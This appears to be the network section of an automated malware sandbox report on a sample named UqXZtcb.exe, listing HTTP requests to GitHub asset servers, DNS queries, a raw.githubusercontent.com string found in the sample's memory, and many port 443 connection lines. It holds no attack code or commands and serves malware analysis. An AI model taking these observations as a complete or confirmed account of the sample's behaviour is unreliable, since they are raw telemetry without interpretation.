Source: global traffic	HTTP traffic detected: GET /assets/pg-f1f19955c4e4.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/telus-df0c2109df99.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-0-df97fa6b0c27.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-copilot-editor-6474457a5b19.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-1-c219318e479a.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/git-branch-productivity-c304b83d09c7.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-copilot-sidebar-3d2efb504577.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/bg-glow-purple-6e9a6a96cb04.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-actions-2-c5178134f381.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-codespaces-1d2d17e8b2b7.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-mobile-chat-9e7549906574.webp HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-2-f30dcc9bd35c.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/git-branch-security-2-f6a799957581.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-ghas-list-84af1f1ce2b8.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/bg-glow-blue-036b8dc2d1ce.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-dependabot-d98c73cc6724.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-code-scanning-fc9dfb212aa3.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-3-9e542b5c31b8.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-secret-scanning-2-88fb429376d6.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/git-branch-collaboration-2-e46b1fb1d363.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/issues-plan-2-46d1ce1d4519.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-projects-2-26077f1dd188.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-discussions-2-b915a6dd867e.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-pull-requests-2-280cc958fc05.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/directus-4da9e46da0ac.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/commandpost-18d45fffda67.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/chaynhq-4c5953025dca.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/imolorhe-9d771b1d4332.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/dayhaysoos-c50659cac73b.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/yyx990803-e11c7b140b17.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/eslint-33bd6140c37f.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/sindresorhus-d3224f241a4d.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/homebrew-c7e38eeacb52.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/globe-d6f3f4ee645a.jpg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-copilot-54114bfd1d20.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-mona-d1c861cd8018.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-star-36e5b5724973.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-diamond-ed642fc95144.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-orb-a0438104a7a2.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-blur-8bc8e1f23df6.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: github.githubassets.com

Source: UqXZtcb.exe, 00000029.00000002.1405348535.00007FF7BBF71000.00000040.00000001.01000000.00000029.sdmp

String found in binary or memory: https://raw.githubusercontent.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
